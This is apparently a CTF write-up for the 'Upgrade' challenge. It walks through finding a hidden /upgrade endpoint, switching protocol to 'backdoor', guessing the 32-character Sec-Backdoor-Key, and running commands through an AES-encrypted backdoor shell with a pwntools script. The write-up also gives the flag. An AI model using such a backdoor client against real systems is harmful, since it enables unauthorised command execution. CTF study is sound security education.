seth
Upgrade

Upgrade

July 31, 2026
0
4 min

← US Cyber Open Season VI Writeups

image.png

We’re given a TCP service serving HTTP, just on a different port than usual (so we can use http://challenge.ctf.uscybergames.com:52629 to access it. The site that doesn’t have much, but when we inspect or go to /robots.txt we see there’s a hidden /upgrade endpoint.

image.png

At that endpoint there’s nothing for us except a json response telling us to switch protocols:

image.png

so let’s switch protocol to backdoor:

image.png

Now it seems we need a Sec-Backdoor-Key header. Let’s try it:

image.png

But the key we provided is the wrong length? After testing some different key lengths (I had gemma-4-31b-it write a quick script to test lengths 0-50), I found that 32 characters was the right length. When we use 32 A’s, we get:

image.png

Decrypting this AES encrypted payload we get a backdoor-type shell it looks like:

image.png

I tried for a while trying to figure out how to actually send a command. It turns out you just keep the TCP connection open and send back something like

{"iv": "<iv>", "payload": "<AES encrypted command>"}

directly over the socket (rather than sending an HTTP formatted request). You just have to encrypt your shell command with AES using the same key first. I discovered this by doing p.interactive() in pwntools on the socket.

To facilitate AES decrypting the server’s response and encrypting my shell commands in that json format, I had gemma-4-31b-it write a script. It auto-encrypts my shell command using the key I set and wraps it in the json format before sending it back to the server over the same socket:

Script generated by gemma-4-31b-it

from pwn import *
import json
from Crypto.Cipher import AES
import base64
import os
 
HOST = "challenge.ctf.uscybergames.com"
PORT = 45307
KEY = b"A" * 32
 
def decrypt_payload(iv_b64, payload_b64):
    try:
        iv = base64.b64decode(iv_b64)
        payload = base64.b64decode(payload_b64)
        cipher = AES.new(KEY, AES.MODE_CBC, iv)
        decrypted = cipher.decrypt(payload)
 
        # Remove PKCS7 padding
        padding_len = decrypted[-1]
        return decrypted[:-padding_len].decode("utf-8", errors="ignore")
    except Exception as e:
        return f"[Decryption Error: {e}]"
 
def encrypt_command(cmd):
    # Pad to 16-byte block size
    pad_len = 16 - (len(cmd) % 16)
    padded = cmd.encode() + bytes([pad_len] * pad_len)
 
    # Generate random IV
    iv = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv)
    ciphertext = cipher.encrypt(padded)
 
    # Return JSON object
    return {
        "iv": base64.b64encode(iv).decode(),
        "payload": base64.b64encode(ciphertext).decode(),
    }
 
def main():
    r = remote(HOST, PORT)
 
    # Send initial Upgrade request
    request = (
        f"GET /upgrade HTTP/1.1\r\n"
        f"Host: {HOST}:{PORT}\r\n"
        f"Upgrade: backdoor\r\n"
        f"Sec-Backdoor-Key: {KEY.decode()}\r\n\r\n"
    ).encode()
    r.send(request)
 
    response = r.recvuntil(b"}").decode("utf-8", errors="ignore")
 
    # Extract body (after headers)
    if "\r\n\r\n" in response:
        body = response.split("\r\n\r\n", 1)[1]
    else:
        body = response.strip()
 
    print("body: " + body)
 
    data = json.loads(body)
 
    print("Welcome:", decrypt_payload(data["iv"], data["payload"]))
 
    # Now enter the interactive loop
 
    while True:
        # Get command from user
        cmd = input("$ ")
        if cmd.lower() in ["exit", "quit"]:
            break
 
        # Encrypt it
        encrypted_json = encrypt_command(cmd.strip())
 
        # Send JSON
        r.sendline(json.dumps(encrypted_json).encode())
 
        response = r.recvuntil(b"}").decode("utf-8", errors="ignore")
        # print("response: " + response)
 
        # Extract body (after headers)
        if "\r\n\r\n" in response:
            body = response.split("\r\n\r\n", 1)[1]
        else:
            body = response.strip()
 
        print("body: " + body)
 
        resp_data = json.loads(body)
        print(decrypt_payload(resp_data["iv"], resp_data["payload"]))
 
        r.close()
 
if __name__ == "__main__":
    main()

Now if I run cat /flag.txt, I can get the flag!

image.png

Flag: SVIUSCG{697938dcb344c44185f92234d2efdbcf}